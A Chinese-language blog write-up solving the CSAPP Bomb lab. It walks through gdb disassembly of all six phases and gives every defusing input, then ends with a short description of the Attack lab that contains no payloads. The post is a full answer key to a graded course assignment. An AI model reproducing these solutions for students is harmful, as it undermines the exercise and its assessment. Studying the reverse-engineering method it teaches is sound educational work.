CSAPP的配套lab，之前混日子欠的债迟早是要还的orz

Bomb

Bomb实验要求是给一个用C语言编写的可执行文件bomb，你可以看到它主函数的C语言代码，除此之外，一概不知，实验分为六个阶段，每个阶段需要输入一串字符，有点像破译密码，如果六次输入的密码都是对的，炸弹解除，否则炸弹会爆炸(退出，并打印爆炸信息)

解决思路

根据题目的要求以及提示，我们可以将bomb可执行文件反汇编，对汇编语言代码进行逆向分析，而gdb是我们调试汇编语言的有效工具。

gdb常用命令

命令	功能
gdb filename	开始调试
run	开始运行
run 1 2 3	开始运行,并且传入参数1，2，3
kill	停止运行
quit	退出gdb
break sum	在sum函数的开头设置断点
break *0x8048c3	在0x8048c3的地址处设置断点
delete 1	删除断点1
clear sum	删除在sum函数入口的断点
stepi	运行一条指令
stepi 4	运行4条指令
continue	运行到下一个断点
disas sum	反汇编sum函数
disas 0X12345	反汇编入口在0x12345的函数
print /x /d /t $rax	将rax里的内容以16进制，10进制，2进制的形式输出
print 0x888	输出0x888的十进制形式
print (int)0x123456	将0x123456地址所存储的内容以数字形式输出
print (char*)0x123456	输出存储在0x123456的字符串
x/w $rsp	解析在rsp所指向位置的word
x/2w $rsp	解析在rsp所指向位置的两个word
x/2wd $rsp	解析在rsp所指向位置的word，以十进制形式输出
info registers	寄存器信息
info functions	函数信息
info stack	栈信息

x86-64寄存器

解决流程

先通过objdump -d bomb > bomb.txt将可执行文件反汇编出来观察一下，会在main函数里发现这样的汇编：

400e32:	e8 67 06 00 00       	callq  40149e <read_line>
400e37:	48 89 c7             	mov    %rax,%rdi
400e3a:	e8 a1 00 00 00       	callq  400ee0 <phase_1>
400e3f:	e8 80 07 00 00       	callq  4015c4 <phase_defused>
400e44:	bf a8 23 40 00       	mov    $0x4023a8,%edi
400e49:	e8 c2 fc ff ff       	callq  400b10 <puts@plt>
400e4e:	e8 4b 06 00 00       	callq  40149e <read_line>
400e53:	48 89 c7             	mov    %rax,%rdi
400e56:	e8 a1 00 00 00       	callq  400efc <phase_2>
400e5b:	e8 64 07 00 00       	callq  4015c4 <phase_defused>
400e60:	bf ed 22 40 00       	mov    $0x4022ed,%edi
400e65:	e8 a6 fc ff ff       	callq  400b10 <puts@plt>

可以看到这个函数的作用是通过readline读取输入值然后调用phase_1函数，那我们再来看看phase_1函数：

0000000000400ee0 <phase_1>:
  400ee0:	48 83 ec 08          	sub    $0x8,%rsp
  400ee4:	be 00 24 40 00       	mov    $0x402400,%esi
  400ee9:	e8 4a 04 00 00       	callq  401338 <strings_not_equal>
  400eee:	85 c0                	test   %eax,%eax
  400ef0:	74 05                	je     400ef7 <phase_1+0x17>
  400ef2:	e8 43 05 00 00       	callq  40143a <explode_bomb>
  400ef7:	48 83 c4 08          	add    $0x8,%rsp
  400efb:	c3                   	retq

那么我们有理由猜测explode_bomb函数所实现的功能就是“BOMB”于是我们开始设置断点找到关键词。

phase_1

设置断点然后用随便的test值运行一下：

(gdb) break explode_bomb
Breakpoint 1 at 0x40143a
(gdb) break phase_1
Breakpoint 2 at 0x400ee0
(gdb) run
Starting program: /mnt/e/Program/ipads/training/ics-lab/bomb
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
test

Breakpoint 2, 0x0000000000400ee0 in phase_1 ()

观察对应汇编代码：

(gdb) disas
Dump of assembler code for function phase_1:
=> 0x0000000000400ee0 <+0>:     sub    $0x8,%rsp
   0x0000000000400ee4 <+4>:     mov    $0x402400,%esi
   0x0000000000400ee9 <+9>:     callq  0x401338 <strings_not_equal>
   0x0000000000400eee <+14>:    test   %eax,%eax
   0x0000000000400ef0 <+16>:    je     0x400ef7 <phase_1+23>
   0x0000000000400ef2 <+18>:    callq  0x40143a <explode_bomb>
   0x0000000000400ef7 <+23>:    add    $0x8,%rsp
   0x0000000000400efb <+27>:    retq
End of assembler dump.

read_line函数会将读入字符串地址存放在rdi 和rsi中，strings_not_equal函数会使用edi和esi中的值当做两个字符址，并且判断他们是否相等，相等返回0

(gdb) stepi 2
0x0000000000400ee9 in phase_1 ()
(gdb) info registers
rax            0x603780 6305664
rbx            0x0      0
rcx            0x4      4
rdx            0x1      1
rsi            0x402400 4203520
rdi            0x603780 6305664
rbp            0x402210 0x402210 <__libc_csu_init>
rsp            0x7ffffffedb60   0x7ffffffedb60
r8             0x604475 6308981
r9             0x7fffff7e1540   140737479841088
r10            0x3      3
r11            0x7fffff030890   140737471776912
r12            0x400c90 4197520
r13            0x7ffffffedc50   140737488280656
r14            0x0      0
r15            0x0      0
rip            0x400ee9 0x400ee9 <phase_1+9>
eflags         0x206    [ PF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) print (char*)0x603780
$3 = 0x603780 <input_strings> "test"
(gdb) print (char*)0x402400
$4 = 0x402400 "Border relations with Canada have never been better."

phase_1函数首先将0x402400这个赋值给esi，然后调用strings_not_equal,　而在每次调用phase_n之前都会先调用read_line读入一行并且放在edi和esi。显然这里是调用字符串比较函数比较我们输入的字符串和存放在0x402400地址的字符串是否相等，紧接着调用test指令，如果eax为0也就是两个字符串相等就跳转到函数结尾，否则调用explode_bomb函数，这个就是引爆炸弹的函数。到这里答案也就出来了，我们需要输入的就是存放在0x402400处的字符串。

phase_2

接下来让我们开始第二个phase：

(gdb) continue
Continuing.
Phase 1 defused. How about the next one?
1 2 3 4 5 6

Breakpoint 3, 0x0000000000400efc in phase_2 ()
(gdb) disas
Dump of assembler code for function phase_2:
=> 0x0000000000400efc <+0>:     push   %rbp
   0x0000000000400efd <+1>:     push   %rbx
   0x0000000000400efe <+2>:     sub    $0x28,%rsp
   0x0000000000400f02 <+6>:     mov    %rsp,%rsi
   0x0000000000400f05 <+9>:     callq  0x40145c <read_six_numbers>
   0x0000000000400f0a <+14>:    cmpl   $0x1,(%rsp)
   0x0000000000400f0e <+18>:    je     0x400f30 <phase_2+52>
   0x0000000000400f10 <+20>:    callq  0x40143a <explode_bomb>
   0x0000000000400f15 <+25>:    jmp    0x400f30 <phase_2+52>
   0x0000000000400f17 <+27>:    mov    -0x4(%rbx),%eax
   0x0000000000400f1a <+30>:    add    %eax,%eax
   0x0000000000400f1c <+32>:    cmp    %eax,(%rbx)
   0x0000000000400f1e <+34>:    je     0x400f25 <phase_2+41>
   0x0000000000400f20 <+36>:    callq  0x40143a <explode_bomb>
   0x0000000000400f25 <+41>:    add    $0x4,%rbx
   0x0000000000400f29 <+45>:    cmp    %rbp,%rbx
   0x0000000000400f2c <+48>:    jne    0x400f17 <phase_2+27>
   0x0000000000400f2e <+50>:    jmp    0x400f3c <phase_2+64>
   0x0000000000400f30 <+52>:    lea    0x4(%rsp),%rbx
   0x0000000000400f35 <+57>:    lea    0x18(%rsp),%rbp
   0x0000000000400f3a <+62>:    jmp    0x400f17 <phase_2+27>
   0x0000000000400f3c <+64>:    add    $0x28,%rsp
   0x0000000000400f40 <+68>:    pop    %rbx
   0x0000000000400f41 <+69>:    pop    %rbp
   0x0000000000400f42 <+70>:    retq
End of assembler dump.

一开始调用了read_six_numbers函数，显然这次要求的输入是6个数字，但为了严谨我们还是跳进去看一眼：

......
   0x0000000000401480 <+36>:    mov    $0x4025c3,%esi
   0x0000000000401485 <+41>:    mov    $0x0,%eax
   0x000000000040148a <+46>:    callq  0x400bf0 <__isoc99_sscanf@plt>
......
(gdb) stepi 17
0x0000000000400bf0 in __isoc99_sscanf@plt ()
(gdb) disas
Dump of assembler code for function __isoc99_sscanf@plt:
=> 0x0000000000400bf0 <+0>:     jmpq   *0x202492(%rip)        # 0x603088 <__isoc99_sscanf@got.plt>
   0x0000000000400bf6 <+6>:     pushq  $0x11
   0x0000000000400bfb <+11>:    jmpq   0x400ad0
(gdb) info register
......
rsi            0x4025c3 4203971
rdi            0x6037d0 6305744
......
(gdb) print (char*)0x6037d0
$2 = 0x6037d0 <input_strings+80> "1 2 3 4 5 6" 
(gdb) print (char*)0x4025c3
$5 = 0x4025c3 "%d %d %d %d %d %d"

由调用类scanf函数，参数是输入字符串和”%d %d %d %d %d %d”，可以确定输入格式是空格隔开的六个数字。

je 0x400f30 中的 je 为 jmp equal，可以理解为等于就跳转，cmpl $0x1,(%rsp) 比较栈指针指向的第一个数字是否为1，如果是1则跳转到 lea 0x4(%rsp),%rbx，否则执行 explode_bomb

然后第一个数字必须是1，否则会爆炸，数字为1则跳转到+52，即lea 0x4(%rsp),%rbx 把0x4(%rsp)偏移量传送给rbx，%rsp是栈指针的地址，每个int的数据长度为4个bytes，这句话的意思就是说读取下一个数字的地址，存入%rbx里。

然后57行把第六个数字的地址存入rbp里，再跳转到27行，取rbx上一个数字的地址也就是第一个数字存入eax，再让eax自增一个eax，即eax存的值*2，此时再比较rbx和eax存的值是否相等就是在比较第二个数字是否为第一个数字的两倍。如果没问题就取rbx下一位，即第三个数字，先和rbp进行比较判断，如果不等就跳转到27行，相等就跳到函数结尾。27行就是之前的取rbx前一个数然后乘二，看是否与rbx现在的数相等，由此可以判断这个输入应该是 1 2 4 8 16 32

phase_3

Phase 1 defused. How about the next one?
1 2 4 8 16 32

Breakpoint 2, 0x0000000000400efc in phase_2 ()
(gdb) continue
Continuing.
That's number 2.  Keep going!
1 2

Breakpoint 3, 0x0000000000400f43 in phase_3 ()
(gdb) disas
Dump of assembler code for function phase_3:
=> 0x0000000000400f43 <+0>:     sub    $0x18,%rsp
   0x0000000000400f47 <+4>:     lea    0xc(%rsp),%rcx
   0x0000000000400f4c <+9>:     lea    0x8(%rsp),%rdx
   0x0000000000400f51 <+14>:    mov    $0x4025cf,%esi
   0x0000000000400f56 <+19>:    mov    $0x0,%eax
   0x0000000000400f5b <+24>:    callq  0x400bf0 <__isoc99_sscanf@plt>
   0x0000000000400f60 <+29>:    cmp    $0x1,%eax
   0x0000000000400f63 <+32>:    jg     0x400f6a <phase_3+39>
   0x0000000000400f65 <+34>:    callq  0x40143a <explode_bomb>
   0x0000000000400f6a <+39>:    cmpl   $0x7,0x8(%rsp)
   0x0000000000400f6f <+44>:    ja     0x400fad <phase_3+106>
   0x0000000000400f71 <+46>:    mov    0x8(%rsp),%eax
   0x0000000000400f75 <+50>:    jmpq   *0x402470(,%rax,8)
   0x0000000000400f7c <+57>:    mov    $0xcf,%eax
   0x0000000000400f81 <+62>:    jmp    0x400fbe <phase_3+123>
   0x0000000000400f83 <+64>:    mov    $0x2c3,%eax
   0x0000000000400f88 <+69>:    jmp    0x400fbe <phase_3+123>
   0x0000000000400f8a <+71>:    mov    $0x100,%eax
   0x0000000000400f8f <+76>:    jmp    0x400fbe <phase_3+123>
   0x0000000000400f91 <+78>:    mov    $0x185,%eax
   0x0000000000400f96 <+83>:    jmp    0x400fbe <phase_3+123>
   0x0000000000400f98 <+85>:    mov    $0xce,%eax
   0x0000000000400f9d <+90>:    jmp    0x400fbe <phase_3+123>
   0x0000000000400f9f <+92>:    mov    $0x2aa,%eax
   0x0000000000400fa4 <+97>:    jmp    0x400fbe <phase_3+123>
   0x0000000000400fa6 <+99>:    mov    $0x147,%eax
   0x0000000000400fab <+104>:   jmp    0x400fbe <phase_3+123>
   0x0000000000400fad <+106>:   callq  0x40143a <explode_bomb>
   0x0000000000400fb2 <+111>:   mov    $0x0,%eax
   0x0000000000400fb7 <+116>:   jmp    0x400fbe <phase_3+123>
   0x0000000000400fb9 <+118>:   mov    $0x137,%eax
   0x0000000000400fbe <+123>:   cmp    0xc(%rsp),%eax
   0x0000000000400fc2 <+127>:   je     0x400fc9 <phase_3+134>
   0x0000000000400fc4 <+129>:   callq  0x40143a <explode_bomb>
   0x0000000000400fc9 <+134>:   add    $0x18,%rsp
   0x0000000000400fcd <+138>:   retq
End of assembler dump.

JA是无符号大于时跳转；jmpq d(a,b,c)=jmp a+b*c+d

这段代码一上来调用了sscanf函数，老规矩 print (char)0x4025cf，发现格式字符串为“%d %d”，也就是两个int数字，同时cmp $0x1,%eax要求return值大于1，接下来39行读取第一个数字，要求小于等于7，否则也会引爆炸弹，再往下+50，发现跳转语句，根据第一个数字取值的不同跳转到不同的地址`0x402470(,%rax,8)` 后，获取一个值放入%eax里，要求第二个数必须等于放入的值。

由此我们顺序运行下去发现跳转到了=> 0x0000000000400fb9 <+118>: mov $0x137,%eax这里，于是“rax 0x137 311”就是我们的最终答案，即 1 311 这个关键词可以过phase3这关。

phase_4

Breakpoint 2, 0x000000000040100c in phase_4 ()
(gdb) disas
Dump of assembler code for function phase_4:
=> 0x000000000040100c <+0>:     sub    $0x18,%rsp
   0x0000000000401010 <+4>:     lea    0xc(%rsp),%rcx
   0x0000000000401015 <+9>:     lea    0x8(%rsp),%rdx
   0x000000000040101a <+14>:    mov    $0x4025cf,%esi
   0x000000000040101f <+19>:    mov    $0x0,%eax
   0x0000000000401024 <+24>:    callq  0x400bf0 <__isoc99_sscanf@plt>
   0x0000000000401029 <+29>:    cmp    $0x2,%eax
   0x000000000040102c <+32>:    jne    0x401035 <phase_4+41>
   0x000000000040102e <+34>:    cmpl   $0xe,0x8(%rsp)
   0x0000000000401033 <+39>:    jbe    0x40103a <phase_4+46>
   0x0000000000401035 <+41>:    callq  0x40143a <explode_bomb>
   0x000000000040103a <+46>:    mov    $0xe,%edx
   0x000000000040103f <+51>:    mov    $0x0,%esi
   0x0000000000401044 <+56>:    mov    0x8(%rsp),%edi
   0x0000000000401048 <+60>:    callq  0x400fce <func4>
   0x000000000040104d <+65>:    test   %eax,%eax
   0x000000000040104f <+67>:    jne    0x401058 <phase_4+76>
   0x0000000000401051 <+69>:    cmpl   $0x0,0xc(%rsp)
   0x0000000000401056 <+74>:    je     0x40105d <phase_4+81>
   0x0000000000401058 <+76>:    callq  0x40143a <explode_bomb>
   0x000000000040105d <+81>:    add    $0x18,%rsp
   0x0000000000401061 <+85>:    retq
End of assembler dump.

现在我们来看看phase4，首先print (char*)0x4025cf可以发现 0x4025cf “%d %d”，说明本次还是两个int的输入。34行的 cmpl $0xe,0x8(%rsp) 要求第一个数字必须 <= 14, >= 0（无符号）然后到46行开始输入参数：

(gdb) info register
......
rdx            0xe      14
rsi            0x0      0
rdi            0x1      1
......

查看调用func4时的寄存器可以清楚看到，第一个参数是1即我们输入的第一个数字，第二个参数为0，第三个参数为14，那我们接下来进入func4函数中一看究竟：

Breakpoint 3, 0x0000000000400fce in func4 ()
(gdb) disas
Dump of assembler code for function func4:
=> 0x0000000000400fce <+0>:     sub    $0x8,%rsp
   0x0000000000400fd2 <+4>:     mov    %edx,%eax
   0x0000000000400fd4 <+6>:     sub    %esi,%eax
   0x0000000000400fd6 <+8>:     mov    %eax,%ecx
   0x0000000000400fd8 <+10>:    shr    $0x1f,%ecx
   0x0000000000400fdb <+13>:    add    %ecx,%eax
   0x0000000000400fdd <+15>:    sar    %eax
   0x0000000000400fdf <+17>:    lea    (%rax,%rsi,1),%ecx
   0x0000000000400fe2 <+20>:    cmp    %edi,%ecx
   0x0000000000400fe4 <+22>:    jle    0x400ff2 <func4+36>
   0x0000000000400fe6 <+24>:    lea    -0x1(%rcx),%edx
   0x0000000000400fe9 <+27>:    callq  0x400fce <func4>
   0x0000000000400fee <+32>:    add    %eax,%eax
   0x0000000000400ff0 <+34>:    jmp    0x401007 <func4+57>
   0x0000000000400ff2 <+36>:    mov    $0x0,%eax
   0x0000000000400ff7 <+41>:    cmp    %edi,%ecx
   0x0000000000400ff9 <+43>:    jge    0x401007 <func4+57>
   0x0000000000400ffb <+45>:    lea    0x1(%rcx),%esi
   0x0000000000400ffe <+48>:    callq  0x400fce <func4>
   0x0000000000401003 <+53>:    lea    0x1(%rax,%rax,1),%eax
   0x0000000000401007 <+57>:    add    $0x8,%rsp
   0x000000000040100b <+61>:    retq
End of assembler dump.

经过摸索，这段汇编代码大概是一个如下的二分：

int func4(int n, int i, int j) {
    int val = (j + i) / 2;
    if (val <= n) {
        if (val >= n) return 0;
        else return 2 * func4(n, val+1, j) + 1;
    } else {
        return 2 * func4(n, i, val-1);
    }
}

TEST 测试(两操作数作与运算,仅修改标志位,不回送结果) 由此 test ax,ax 即是判断 ax == 0？

然后test %eax,%eax判断return是否为0，如果非0就爆炸。同时cmpl $0x0,0xc(%rsp)要求第二个输入为0，由此最简单的输入就是 0 0，这样就可以过关

phase_5

(gdb) disas
Dump of assembler code for function phase_5:
=> 0x0000000000401062 <+0>:     push   %rbx
   0x0000000000401063 <+1>:     sub    $0x20,%rsp
   0x0000000000401067 <+5>:     mov    %rdi,%rbx
   0x000000000040106a <+8>:     mov    %fs:0x28,%rax
   0x0000000000401073 <+17>:    mov    %rax,0x18(%rsp)
   0x0000000000401078 <+22>:    xor    %eax,%eax
   0x000000000040107a <+24>:    callq  0x40131b <string_length>
   0x000000000040107f <+29>:    cmp    $0x6,%eax
   0x0000000000401082 <+32>:    je     0x4010d2 <phase_5+112>
   0x0000000000401084 <+34>:    callq  0x40143a <explode_bomb>
   0x0000000000401089 <+39>:    jmp    0x4010d2 <phase_5+112>
   0x000000000040108b <+41>:    movzbl (%rbx,%rax,1),%ecx
   0x000000000040108f <+45>:    mov    %cl,(%rsp)
   0x0000000000401092 <+48>:    mov    (%rsp),%rdx
   0x0000000000401096 <+52>:    and    $0xf,%edx
   0x0000000000401099 <+55>:    movzbl 0x4024b0(%rdx),%edx
   0x00000000004010a0 <+62>:    mov    %dl,0x10(%rsp,%rax,1)
   0x00000000004010a4 <+66>:    add    $0x1,%rax
   0x00000000004010a8 <+70>:    cmp    $0x6,%rax
   0x00000000004010ac <+74>:    jne    0x40108b <phase_5+41>
   0x00000000004010ae <+76>:    movb   $0x0,0x16(%rsp)
   0x00000000004010b3 <+81>:    mov    $0x40245e,%esi
   0x00000000004010b8 <+86>:    lea    0x10(%rsp),%rdi
   0x00000000004010bd <+91>:    callq  0x401338 <strings_not_equal>
   0x00000000004010c2 <+96>:    test   %eax,%eax
   0x00000000004010c4 <+98>:    je     0x4010d9 <phase_5+119>
   0x00000000004010c6 <+100>:   callq  0x40143a <explode_bomb>
   0x00000000004010cb <+105>:   nopl   0x0(%rax,%rax,1)
   0x00000000004010d0 <+110>:   jmp    0x4010d9 <phase_5+119>
   0x00000000004010d2 <+112>:   mov    $0x0,%eax
   0x00000000004010d7 <+117>:   jmp    0x40108b <phase_5+41>
   0x00000000004010d9 <+119>:   mov    0x18(%rsp),%rax
   0x00000000004010de <+124>:   xor    %fs:0x28,%rax
   0x00000000004010e7 <+133>:   je     0x4010ee <phase_5+140>
   0x00000000004010e9 <+135>:   callq  0x400b30 <__stack_chk_fail@plt>
   0x00000000004010ee <+140>:   add    $0x20,%rsp
   0x00000000004010f2 <+144>:   pop    %rbx
   0x00000000004010f3 <+145>:   retq
---Type <return> to continue, or q <return> to quit---
End of assembler dump.

首先通过cmp $0x6,%eax我们可以确定字符串长度为6，然后跳转 movzbl (%rbx,%rax,1),%ecx 执行 mobzbl 指令（将一个源操作数低1字节长度的值0扩展到32位并存放在目标寄存器处），在这里就是取得字符串内第一个字符；而后将此字符（就是 %cl 内存放的值，%cl 是 %ecx 的低8位寄存器）送到栈顶%rsp处。and $0xf,%edx获取当前字符的后四位，movzbl 0x4024b0(%rdx),%edx将edx后四位作为0x4024b0字符数组的索引值，依次拷贝字符数组到0x10((%rsp,%rax,1))，再用%rax循环6次。movb $0x0,0x16(%rsp)字符串末尾添加”\0”后和字符串常量$0x40245e进行比较。

(gdb) print (char*)0x4024b0
$2 = 0x4024b0 <array> "maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"
(gdb) print (char*)0x40245e
$3 = 0x40245e "flyers"

所以用来被截取的字符串为“maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?”，用来对比的字符串为“flyers”，我们发现flyers6个字符分别出现在str1的第9位，第15位，第14位，第5位，第6位，第7位，输入的字符串后四位的二进制只要分别表示9,15,14,5,6,7即可，翻查ASCII表，可以得到结果 ionefg （YONUFG）

phase_6

(gdb) disas
Dump of assembler code for function phase_6:
=> 0x00000000004010f4 <+0>:     push   %r14
   0x00000000004010f6 <+2>:     push   %r13
   0x00000000004010f8 <+4>:     push   %r12
   0x00000000004010fa <+6>:     push   %rbp
   0x00000000004010fb <+7>:     push   %rbx
   0x00000000004010fc <+8>:     sub    $0x50,%rsp
   0x0000000000401100 <+12>:    mov    %rsp,%r13
   0x0000000000401103 <+15>:    mov    %rsp,%rsi
   0x0000000000401106 <+18>:    callq  0x40145c <read_six_numbers>
   0x000000000040110b <+23>:    mov    %rsp,%r14
   0x000000000040110e <+26>:    mov    $0x0,%r12d
   0x0000000000401114 <+32>:    mov    %r13,%rbp
   0x0000000000401117 <+35>:    mov    0x0(%r13),%eax
   0x000000000040111b <+39>:    sub    $0x1,%eax
   0x000000000040111e <+42>:    cmp    $0x5,%eax
   0x0000000000401121 <+45>:    jbe    0x401128 <phase_6+52>
   0x0000000000401123 <+47>:    callq  0x40143a <explode_bomb>
   0x0000000000401128 <+52>:    add    $0x1,%r12d
   0x000000000040112c <+56>:    cmp    $0x6,%r12d
   0x0000000000401130 <+60>:    je     0x401153 <phase_6+95>
   0x0000000000401132 <+62>:    mov    %r12d,%ebx
   0x0000000000401135 <+65>:    movslq %ebx,%rax
   0x0000000000401138 <+68>:    mov    (%rsp,%rax,4),%eax
   0x000000000040113b <+71>:    cmp    %eax,0x0(%rbp)
   0x000000000040113e <+74>:    jne    0x401145 <phase_6+81>
   0x0000000000401140 <+76>:    callq  0x40143a <explode_bomb>
   0x0000000000401145 <+81>:    add    $0x1,%ebx
   0x0000000000401148 <+84>:    cmp    $0x5,%ebx
   0x000000000040114b <+87>:    jle    0x401135 <phase_6+65>
   0x000000000040114d <+89>:    add    $0x4,%r13
   0x0000000000401151 <+93>:    jmp    0x401114 <phase_6+32>
   0x0000000000401153 <+95>:    lea    0x18(%rsp),%rsi
   0x0000000000401158 <+100>:   mov    %r14,%rax
   0x000000000040115b <+103>:   mov    $0x7,%ecx
   0x0000000000401160 <+108>:   mov    %ecx,%edx
   0x0000000000401162 <+110>:   sub    (%rax),%edx
   0x0000000000401164 <+112>:   mov    %edx,(%rax)
   0x0000000000401166 <+114>:   add    $0x4,%rax
   0x000000000040116a <+118>:   cmp    %rsi,%rax
   0x000000000040116d <+121>:   jne    0x401160 <phase_6+108>
   0x000000000040116f <+123>:   mov    $0x0,%esi
   0x0000000000401174 <+128>:   jmp    0x401197 <phase_6+163>
   0x0000000000401176 <+130>:   mov    0x8(%rdx),%rdx
   0x000000000040117a <+134>:   add    $0x1,%eax
   0x000000000040117d <+137>:   cmp    %ecx,%eax
   0x000000000040117f <+139>:   jne    0x401176 <phase_6+130>
   0x0000000000401181 <+141>:   jmp    0x401188 <phase_6+148>
   0x0000000000401183 <+143>:   mov    $0x6032d0,%edx
   0x0000000000401188 <+148>:   mov    %rdx,0x20(%rsp,%rsi,2)
   0x000000000040118d <+153>:   add    $0x4,%rsi
   0x0000000000401191 <+157>:   cmp    $0x18,%rsi
   0x0000000000401195 <+161>:   je     0x4011ab <phase_6+183>
   0x0000000000401197 <+163>:   mov    (%rsp,%rsi,1),%ecx
   0x000000000040119a <+166>:   cmp    $0x1,%ecx
   0x000000000040119d <+169>:   jle    0x401183 <phase_6+143>
   0x000000000040119f <+171>:   mov    $0x1,%eax
   0x00000000004011a4 <+176>:   mov    $0x6032d0,%edx
   0x00000000004011a9 <+181>:   jmp    0x401176 <phase_6+130>
   0x00000000004011ab <+183>:   mov    0x20(%rsp),%rbx
   0x00000000004011b0 <+188>:   lea    0x28(%rsp),%rax
   0x00000000004011b5 <+193>:   lea    0x50(%rsp),%rsi
   0x00000000004011ba <+198>:   mov    %rbx,%rcx
   0x00000000004011bd <+201>:   mov    (%rax),%rdx
   0x00000000004011c0 <+204>:   mov    %rdx,0x8(%rcx)
   0x00000000004011c4 <+208>:   add    $0x8,%rax
   0x00000000004011c8 <+212>:   cmp    %rsi,%rax
   0x00000000004011cb <+215>:   je     0x4011d2 <phase_6+222>
   0x00000000004011cd <+217>:   mov    %rdx,%rcx
   0x00000000004011d0 <+220>:   jmp    0x4011bd <phase_6+201>
   0x00000000004011d2 <+222>:   movq   $0x0,0x8(%rdx)
   0x00000000004011da <+230>:   mov    $0x5,%ebp
   0x00000000004011df <+235>:   mov    0x8(%rbx),%rax
   0x00000000004011e3 <+239>:   mov    (%rax),%eax
   0x00000000004011e5 <+241>:   cmp    %eax,(%rbx)
   0x00000000004011e7 <+243>:   jge    0x4011ee <phase_6+250>
   0x00000000004011e9 <+245>:   callq  0x40143a <explode_bomb>
   0x00000000004011ee <+250>:   mov    0x8(%rbx),%rbx
   0x00000000004011f2 <+254>:   sub    $0x1,%ebp
   0x00000000004011f5 <+257>:   jne    0x4011df <phase_6+235>
   0x00000000004011f7 <+259>:   add    $0x50,%rsp
   0x00000000004011fb <+263>:   pop    %rbx
   0x00000000004011fc <+264>:   pop    %rbp
   0x00000000004011fd <+265>:   pop    %r12
   0x00000000004011ff <+267>:   pop    %r13
   0x0000000000401201 <+269>:   pop    %r14
   0x0000000000401203 <+271>:   retq
End of assembler dump.

终于到最后一个了，~~这最后一个看起来有点劝退啊orz~~~，首先依然是callq 0x40145c <read_six_numbers>读取六个数字。然后将栈顶指针赋给%eax，也就是要求 第一个数字 - 1 <= 5 ，然后用%r12d作循环计数，到62行开始执行判断六个数字不相等的功能，然后跳到81行开始执行判断数字小于等于6的功能。到后面110行将数字与7求差并将结果放入原先位置。

然后抽象的来了，我们来细看这段汇编代码：

0x000000000040116f <+123>:   mov    $0x0,%esi
0x0000000000401174 <+128>:   jmp    0x401197 <phase_6+163>
0x0000000000401176 <+130>:   mov    0x8(%rdx),%rdx
0x000000000040117a <+134>:   add    $0x1,%eax
0x000000000040117d <+137>:   cmp    %ecx,%eax
0x000000000040117f <+139>:   jne    0x401176 <phase_6+130>
0x0000000000401181 <+141>:   jmp    0x401188 <phase_6+148>
0x0000000000401183 <+143>:   mov    $0x6032d0,%edx
0x0000000000401188 <+148>:   mov    %rdx,0x20(%rsp,%rsi,2)
0x000000000040118d <+153>:   add    $0x4,%rsi
0x0000000000401191 <+157>:   cmp    $0x18,%rsi
0x0000000000401195 <+161>:   je     0x4011ab <phase_6+183>
0x0000000000401197 <+163>:   mov    (%rsp,%rsi,1),%ecx
0x000000000040119a <+166>:   cmp    $0x1,%ecx
0x000000000040119d <+169>:   jle    0x401183 <phase_6+143>
0x000000000040119f <+171>:   mov    $0x1,%eax
0x00000000004011a4 <+176>:   mov    $0x6032d0,%edx
0x00000000004011a9 <+181>:   jmp    0x401176 <phase_6+130>

这是一个循环，此循环依次将由前面步骤获得的 %rsp %rsp+4 等地址处存放的值与1比较，如果相等，则将 0x6032d0 这个地址存放在 %rsp + %rsi*2 + 0x20 地址处，%rsi 中存放的数字用来判断是否终止循环，从0开始依次加4，等于24时终止此次循环；如果不相等，则再与2比较，并将 0x6032d0 加 8，这又是一个循环：不相等就递增，直到相等为止，此时将获得的 0x6032d0 递增后的值放入相应地址处；

0x00000000004011ab <+183>:   mov    0x20(%rsp),%rbx
0x00000000004011b0 <+188>:   lea    0x28(%rsp),%rax
0x00000000004011b5 <+193>:   lea    0x50(%rsp),%rsi
0x00000000004011ba <+198>:   mov    %rbx,%rcx
0x00000000004011bd <+201>:   mov    (%rax),%rdx
0x00000000004011c0 <+204>:   mov    %rdx,0x8(%rcx)
0x00000000004011c4 <+208>:   add    $0x8,%rax
0x00000000004011c8 <+212>:   cmp    %rsi,%rax
0x00000000004011cb <+215>:   je     0x4011d2 <phase_6+222>
0x00000000004011cd <+217>:   mov    %rdx,%rcx
0x00000000004011d0 <+220>:   jmp    0x4011bd <phase_6+201>

第5步中获得的值中，按顺序把下一个值放置于上一个值+8得到的地址中（其实就是在建立链表）

0x00000000004011da <+230>:   mov    $0x5,%ebp
0x00000000004011df <+235>:   mov    0x8(%rbx),%rax
0x00000000004011e3 <+239>:   mov    (%rax),%eax
0x00000000004011e5 <+241>:   cmp    %eax,(%rbx)
0x00000000004011e7 <+243>:   jge    0x4011ee <phase_6+250>
0x00000000004011e9 <+245>:   callq  0x40143a <explode_bomb>
0x00000000004011ee <+250>:   mov    0x8(%rbx),%rbx
0x00000000004011f2 <+254>:   sub    $0x1,%ebp
0x00000000004011f5 <+257>:   jne    0x4011df <phase_6+235>

循环交替比较链表元素中的大小，前面的值必须大于等于后面的。

根据前面可知输入的字符串中6个数字只能是 123456 的排列组合；第5步中提及的 0x6032d0 中存放的是332，0x6032d8 处存放的是地址，0x6032e0 存放的是 168，接下内依次是 924、691、477、443；根据第6步得出的结论即链表前一个元素必须比接下来的大，其实就是以我们输入的数据为索引，根据原有的链表建立新的降序链表，那么最后一个应该是 4 3 2 1 6 5

(gdb) run
Starting program: /mnt/e/Program/ipads/training/ics-lab/bomb
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Border relations with Canada have never been better.
Phase 1 defused. How about the next one?
1 2 4 8 16 32
That's number 2.  Keep going!
1 311
Halfway there!
0 0
So you got that one.  Try this one.
YONUFG
Good work!  On to the next...
4 3 2 1 6 5
Congratulations! You've defused the bomb!
[Inferior 1 (process 130) exited normally]

最终可以看到我们成功解决了这6个bomb，这个lab让我对汇编和gdb都有了进一步的认知和了解，作为一个没学过编译原理的人，这个lab还是借鉴了很多网上的教程才一步步啃下来的，但整个lab确实很有意思，能感受到由浅到深精心设计出来的，寓教于乐。

Attack

Attack实验分为两个部分，注入攻击和返回值攻击，CI（代码注入）方式来破解的 Ctarget 可执行文件运行栈位置是不变的； ROP（返回值攻击）方式来破解的 Rtarget 这个可执行代码文件的运行时栈位置每次运行都不同的；而且它在栈中的代码是不可执行的，否则会引起 Segmentation Fault，所以不能用代码注入的方式来破解。

